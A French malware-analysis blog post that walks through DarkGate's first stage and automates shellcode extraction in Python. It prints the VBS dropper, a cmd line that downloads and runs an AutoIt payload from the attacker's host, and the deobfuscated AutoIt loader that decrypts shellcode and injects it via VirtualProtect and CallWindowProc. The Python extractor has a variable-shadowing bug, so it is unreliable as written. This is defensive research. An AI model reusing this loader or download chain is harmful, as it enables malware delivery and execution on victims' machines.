Automatisation de l'extraction du First Stage de Darkgate

Développement de scripts pour extraire le shellcode d'un fichier VBS Darkgate

Introduction

Lors de mon analyse du malware DarkGate, je me suis renseigné sur internet pour l’analyse du script AutoIt, sans vrai résultat. Je me suis ainsi mis en tête d’automatiser l’extraction du shellcode à partir du script VBS initial.

Script VBS

La première étape de cette infection passe par un script VBS. Celui-ci est légèrement obfusqué et son fonctionnement est clair

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ShellObject = "Shell.Application"

url="hxxp://fredlomberhfile.com:2351/btkaymgu"

.Open "get", url, False  
.setRequestHeader "a", "a"
.send
response = .responseText
CreateObject(ShellObject).ShellExecute "cmd", response ,"","",0
End With

Le script contacte une URL et stocke le résultat dans une variable. Voici le résultat dans mon cas:

1
/c mkdir c:\btka & cd /d c:\btka & copy c:\windows\system32\curl.exe btka.exe & btka -H "User-Agent: curl" -o Autoit3.exe http://fredlomberhfile.com:2351 & btka -o nbquok.au3 http://fredlomberhfile.com:2351/msibtkaymgu & Autoit3.exe nbquok.au3

Il s’agit donc d’une commande cmd qui effectue les actions suivantes :

  • Copie l’exécutable curl dans le dossier actuel
  • Télécharge un exécutable AutoIT3 authentique depuis l’URL
  • Télécharge un script AutoIT3 depuis l’URL
  • Exécute ce script

Script AutoIt3

AutoIt3 est un langage de scripting souvent utilisé par les opérateurs de malwares pour dropper des exécutables.

Nous pouvons ouvrir ce fichier avec l’éditeur de scripts AutoIt pour analyser son code, or, celui-ci n’apparaît pas. Il s’agit en fait d’un script .a3x (version compilée d’AutoIt) à laquelle on ajoute des centaines de lignes de données inutiles :

Pour extraire ce script, j’ai utilisé binary-refinery, une bibliothèque Python permettant d’interagir avec les fichiers et y appliquer différentes opérations.

1
cat nbquok.au3 | a3x

Cette commande extrait le script en a3x du document et le décompile afin de nous donner accès au script en clair que nous allons pouvoir analyser.

Ce script est une nouvelle fois légèrement obfusqué par l’ajout de variables inutiles et la conversion de certains strings en format binaire. Voici le script une fois nettoyé :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Func DECRYPTFILEWITHKEY($SFILEPATH, $SKEY)

    Local $HFILE = FileOpen($SFILEPATH, 16)

    If $HFILE = - 1 Then
        MsgBox(0, "Error", "unable to open.")
        Return SetError(1, 0, "")
    EndIf

    Local $BCONTENT = FileRead($HFILE)
    FileClose($HFILE)
    Local $SCONTENT = BinaryToString($BCONTENT)
    Local $ISTART = StringInStr($SCONTENT, "padoru") + 6
    Local $IEND = StringInStr($SCONTENT, "padoru", 0, - 1, $ISTART)

    If $ISTART = 6 Or $IEND = 0 Then
        MsgBox(0, "Error", "delimiter not found.")
        Return SetError(2, 0, "")
    EndIf

    Local $STODECRYPT = StringMid($SCONTENT, $ISTART, $IEND - $ISTART)
    Local $BTODECRYPT = StringToBinary($STODECRYPT)
    Local $IBLOCKSIZE = 0x8000
    Local $ILEN = BinaryLen($BTODECRYPT)
    Local $TBYTE = DllStructCreate("byte[1]")
    Local $IKEYALT = 0
    Local $B_DECRYPTED = Binary("")
    Local $IKEYLEN = StringLen($SKEY)

    For $I = 1 To $IKEYLEN
        $IKEYALT = BitXOR(BinaryMid($SKEY, $I, 1), $IKEYALT)
    Next

    For $I = 1 To $ILEN Step $IBLOCKSIZE
        Local $IBLOCKLEN = $IBLOCKSIZE
        If $I + $IBLOCKLEN > $ILEN Then $IBLOCKLEN = $ILEN - $I + 1
        Local $BBLOCK = BinaryMid($BTODECRYPT, $I, $IBLOCKLEN)
        Local $BDECRYPTEDBLOCK = Binary("")

        For $J = 1 To BinaryLen($BBLOCK)
            DllStructSetData($tByte, 1, BitXOR(BinaryMid($bBlock, $j, 1), $iKeyAlt))
            $BDECRYPTEDBLOCK &= DllStructGetData($TBYTE, 1)
        Next

        $B_DECRYPTED &= $BDECRYPTEDBLOCK

    Next
    Return $B_DECRYPTED
EndFunc

Local $SKEY = "darkgate"
Local $SDECRYPTEDCONTENT = DECRYPTFILEWITHKEY(@SCRIPTFULLPATH, $SKEY)
$BOMCBRWIMQ = $SDECRYPTEDCONTENT

$LLAVEQBFOF = DllStructCreate("byte[" & BinaryLen($BOMCBRWIMQ) & "]")
Local $OLDPROTECT

If(Not FileExists("C:\Program Files (x86)\Sophos")) Then
    DllCall("kernel32.dll", "BOOL", "VirtualProtect", "ptr", DllStructGetPtr($lLavEqBFof), "int", BinaryLen($boMCbRwiMQ), "dword", 0x40, "dword*", $oldprotect)

EndIf

DllStructSetData($lLavEqBFof, 1, $boMCbRwiMQ)
DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", DllStructGetPtr($lLavEqBFof), "hwnd", 0, "uint", 0, "wparam", 0, "lparam", 0)

Premièrement, on aperçoit 2 appels API, VirtualProtect et CallWindowProc, qui font partie d’une technique d’injection par callbacks, ainsi qu’une vérification de la présence du l’antivirus Sophos sur la machine.

Le plus intéressant se déroule dans la fonction DECRYPTFILEWITHKEY, où un fichier semble être déchiffré.

1
2
Local $ISTART = StringInStr($SCONTENT, "padoru") + 6
Local $IEND = StringInStr($SCONTENT, "padoru", 0, - 1, $ISTART)

Le programme recherche de la donnée entre 2 strings (padding), ce qui correspond à du binaire dans le fichier original nbquok.au3.

Une fois le blob binaire extrait, le script va effectuer une opération sur la clé darkgate afin de créer une clé servant à déchiffrer le shellcode.

1
2
3
 For $I = 1 To $IKEYLEN
        $IKEYALT = BitXOR(BinaryMid($SKEY, $I, 1), $IKEYALT)
 Next

J’ai reproduit cette opération en Python, ce qui nous donne une clé 0xB :

1
2
3
4
5
6
def get_final_key(key):
    alt = 0
    for b in key:
        alt = b ^ alt
        
    return alt

Enfin, le programme déchiffre le shellcode avec la clé 0xB et l’exécutera dans grâce au callback CallWindowProc. J’ai automatisé l’extraction de ce shellcode en Python avec ce script :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import regex

key = [100, 97, 114, 107, 103, 97, 116, 101] #Clé "darkgate" en decimal

def get_final_key(key): #Effectue les opérations XOR pour déterminer la clé à utiliser
    alt = 0
    for b in key:
        alt = b ^ alt
        
    return alt

def extract_shellcode_from_au3(file): #Extrait le shellcode entre les paddings "padoru"
    with open(file, 'rb') as f:
        data = f.read()
    
    extracted = regex.findall(b"padoru(.*?)padoru", data, regex.DOTALL)
    
    if extracted:
        return extracted[0]
    else:
        return False

def main(): #Déchiffre le shellcode et l'écrit dans un fichier
    dec_data = []
    key = get_final_key(key)

    for i in extract_shellcode_from_au3("nbquok.au3"): 
        dec_data.append(hex(i ^ key))

    hexdata = bytes([int(x,0) for x in dec_data])

    with open('shellcode.bin', 'ab') as s:
        s.write(hexdata)
comments powered by Disqus
Généré avec Hugo
Thème Stack conçu par Jimmy